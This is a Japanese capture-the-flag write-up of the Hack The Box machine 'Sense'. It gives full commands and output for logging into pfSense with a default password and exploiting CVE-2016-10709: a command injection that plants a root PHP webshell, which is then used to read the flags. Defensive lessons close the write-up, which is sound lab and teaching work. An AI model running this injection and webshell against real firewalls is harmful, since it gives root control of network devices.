Hack The BoxのWriteup(Sense)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Sense — 全実行コマンド・実行結果レポート
Nmap スキャン
80/443(lighttpd, pfSense)
→
/system-users.txt
Rohit / “company defaults” ヒント
→
pfSense webUIログイン
rohit:pfsense (既定PW)
→
CVE-2016-10709
status_rrd_graph_img.php コマンド注入
→
root (writeup.php webshell)
user.txt / root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -Pn -p 80,443 -sV -sC --max-retries 2 10.129.84.170
RESULT
PORT    STATE SERVICE  VERSION
80/tcp  open  http     lighttpd 1.4.35
|_http-title: Did not follow redirect to https://10.129.84.170/
443/tcp open  ssl/http lighttpd 1.4.35
|_http-title: Login
| ssl-cert: Subject: commonName=Common Name (eg, YOUR name)/organizationName=CompanyName
| Not valid before: 2017-10-14T19:21:35
|_Not valid after:  2023-04-06T19:21:35
ℹ️
80番は443番へのHTTPSリダイレクト、443番のタイトルがLogin。 lighttpdというこの時代のpfSense(FreeBSDベースのファイアウォール/ ルーターOS)に特徴的なWebサーバーであり、TLS証明書の有効期限(2023年)からも かなり古いバージョンだと推測できる。

既知ヒントファイルの確認

BASH
curl -sk https://10.129.84.170/system-users.txt
RESULT
####Support ticket###

Please create the following user

username: Rohit
password: company defaults
⚠️
重要な解釈ポイント: この内容は生のuser:pass ペアではなく、サポート担当者向けの作業指示(チケット)である。 password: company defaultsは「この会社の既定パスワードを 設定してください」という指示であり、文字列そのものがパスワードではない。 pfSenseの既定パスワードはpfsenseであることは 公知のため、実際の認証情報はrohit:pfsenseになると推測できる (ユーザー名はヒント中では大文字Rohitだが、実際のアカウントは 小文字rohitであり大文字のままではログイン失敗する点にも注意)。
PHASE 2

pfSense webUI ログイン

CSRFトークン取得

BASH
curl -sk -c sense_cookies.txt https://10.129.84.170/index.php \
  | grep -oP 'var csrfMagicToken = "[^"]+"'
RESULT
var csrfMagicToken = "sid:0e6faef91cb7227c89ce8bd7a540a94c9018b9ac,1792276866;ip:275cf42d1bccb4d4ca1dade93c3d137f27724a22,1792276866";
ℹ️
pfSenseはCSRFトークン(__csrf_magic)をログインフォームに 埋め込み、セッションクッキーと紐付けて検証する。同じクッキージャーを 使ってトークンを取得→ログインPOSTまで一連の流れで送る必要がある。

ログイン実行

BASH
curl -sk -i -b sense_cookies.txt -c sense_cookies.txt \
  --data-urlencode "__csrf_magic=sid:0e6faef9...,1792276866;ip:275cf42d...,1792276866" \
  --data-urlencode "usernamefld=rohit" \
  --data-urlencode "passwordfld=pfsense" \
  --data-urlencode "login=" \
  https://10.129.84.170/index.php
RESULT
HTTP/1.1 302 Found
Location: /
Server: lighttpd/1.4.35
✅
302 Found — ログイン成功(失敗の場合は200でログインページが 再表示される)。rohit:pfsenseの推測が正しかったことが確認できる。
PHASE 3

CVE-2016-10709 コマンド注入による Webシェル配置

脆弱性の仕組み

NOTE
pfSense CE 2.1.3の status_rrd_graph_img.php は、グラフ種別を指定する
"database" GETパラメータの値をサニタイズせずシェルコマンドの一部として
組み立てる。認証済みユーザーであれば";"でコマンドを連結して任意コマンドを
注入できる(CVE-2016-10709 / EDB-39709)。pfSenseのWebサービス自体が
rootユーザーで動作しているため、この時点でフットホールドと権限昇格が
同時に完了する(別途の特権昇格ステップは不要)。

公開PoC(ExploitDB/Metasploitモジュール)はペイロードをoctal(8進数)
エンコードする手法を使うが、このターゲットでは不安定(Sense.pdfでも明記)。
base64エンコードしたPHPコードを使う方式が確実に動作する。
🚨
埋め込むPHPコード(base64デコード前): echo system($_GET['cmd']); — これをeval(base64_decode('...'))でラップし、 databaseパラメータ経由でcd連打によりWeb公開 ディレクトリ(/usr/local/www)へ移動した上で、 echo "...">writeup.phpでファイルへ書き出す。

コマンド注入でWebシェルを書き込む

BASH
PHP_PAYLOAD='%3C%3Fphp+eval%28base64_decode%28%27ZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsg%27%29%29%3B%3F%3E'
curl -sk -b sense_cookies.txt \
  "https://10.129.84.170/status_rrd_graph_img.php?database=queues;cd+..;cd+..;cd+..;cd+usr;cd+local;cd+www;echo+\"${PHP_PAYLOAD}\">writeup.php"
RESULT
HTTP 200
Warning: implode(): Invalid arguments passed in /usr/local/www/status_rrd_graph_img.php on line 1197
‰PNG...(RRDグラフのバイナリPNGデータ)
ℹ️
レスポンスはRRDグラフ生成スクリプト本来の動作であるPNG画像バイナリ (+implode()警告)がそのまま返る。これは正常な副作用であり、 注入したコマンドの成否はレスポンス本文ではなく、writeup.phpが 実際に作成されたかどうかで判定する必要がある。

Webシェル動作確認

BASH
curl -sk "https://10.129.84.170/writeup.php?cmd=id"
RESULT
uid=0(root) gid=0(wheel) groups=0(wheel)
uid=0(root) gid=0(wheel) groups=0(wheel)
⚠️
既にrootであることを確認(pfSenseのWeb UIプロセス自体が rootで動作しているため)。また注目すべき点として、出力が 完全に同一内容を区切りなく2回連続で返っている — これはペイロードがecho system($_GET['cmd']);であるため、 system()がコマンド出力を直接標準出力へ書き込み、かつ system()の戻り値(最後の1行)を外側のechoが もう一度出力するという、PHPのsystem()関数の仕様に基づく 二重化である。フラグをcatする際もこの二重化がそのまま起こるため、 32桁のハッシュが64文字に見えても実際は同じ値が2つ繋がっているだけ、と 理解しておく必要がある。
PHASE 4

user.txt / root.txt 取得

フラグ取得

BASH
curl -sk "https://10.129.84.170/writeup.php" --data-urlencode "cmd=cat /home/rohit/user.txt" -G
curl -sk "https://10.129.84.170/writeup.php" --data-urlencode "cmd=cat /root/root.txt" -G
RESULT
user.txt: 8721327cc232073b40d27d9c17e7348b8721327cc232073b40d27d9c17e7348b
root.txt: d08c32a5d4f8c8b10e76eb51a69f1a86d08c32a5d4f8c8b10e76eb51a69f1a86
user.txt — rohit@SENSE
8721327cc232073b40d27d9c17e7348b
root.txt — root@SENSE
d08c32a5d4f8c8b10e76eb51a69f1a86
✅
先述の二重化どおり、出力は32文字のハッシュが区切り無しで2回連続した 64文字の文字列として返っている(表示上は最初の32文字のみが本来の値)。 既にWebサーバー自体がrootで動作しているため、フットホールドの 取得と同時に両フラグとも即座に取得可能。

後片付け(Webシェルの削除)

BASH
curl -sk "https://10.129.84.170/writeup.php" --data-urlencode "cmd=rm -f /usr/local/www/writeup.php" -G
curl -sk -o /dev/null -w "HTTP %{http_code}\n" "https://10.129.84.170/writeup.php?cmd=id"
RESULT
HTTP 404
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — rohit@SENSE
8721327cc232073b40d27d9c17e7348b
root.txt — root@SENSE
d08c32a5d4f8c8b10e76eb51a69f1a86

使用した脆弱性・手法

脆弱性/手法 対象 影響 深刻度 利用方法
既定パスワードの放置 pfSense CE 2.1.3 webUI ヒントファイルからの認証情報推測 Medium /system-users.txtの「company defaults」というラベルを pfSenseの公知の既定パスワードpfsenseと結び付け、 rohit:pfsenseでログイン成功
CVE-2016-10709 pfSense status_rrd_graph_img.php (database param) 認証済みOSコマンド注入(root権限) Critical base64でラップしたPHP webshellをdatabaseパラメータの 注入でWeb公開ディレクトリへ書き込み、user.txt / root.txt を同時に取得可能なrootシェルを獲得

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap(80/443) + /system-users.txtpfSense検出、ユーザー名ヒント
2認証CSRFトークン取得→rohit:pfsenseでログイン認証済みセッション確立
3RCECVE-2016-10709コマンド注入root権限のPHP webshell配置
4フラグ取得webshell経由catuser.txt / root.txt(両方同時)

学んだ教訓 & 防御策

問題点防御策
サポートチケットのような内部文書がWeb公開ディレクトリから 認証なしで取得可能になっている 内部向けドキュメント・チケットはWebサーバーの公開ルートに 置かない。誤って配置されたファイルを検出する定期スキャンを実施する。
pfSenseの既定パスワードがアカウント作成時に変更されずそのまま 運用されている 初回ログイン時にパスワード変更を強制する運用を徹底し、 既定の認証情報が残っていないか定期的に監査する。
2016年公開の既知脆弱性(CVE-2016-10709)が未パッチの古いpfSense CE 2.1.3が稼働、かつWebサービスがroot権限で動作している pfSenseを最新版へアップグレードする。Webサービスは可能な限り 最小権限ユーザーで動作させ、GETパラメータをシェルコマンドの構成要素 として扱わない(エスケープではなく構造的分離、許可された値のみの ホワイトリスト化)。
HackTheBox: Sense | 完全攻略レポート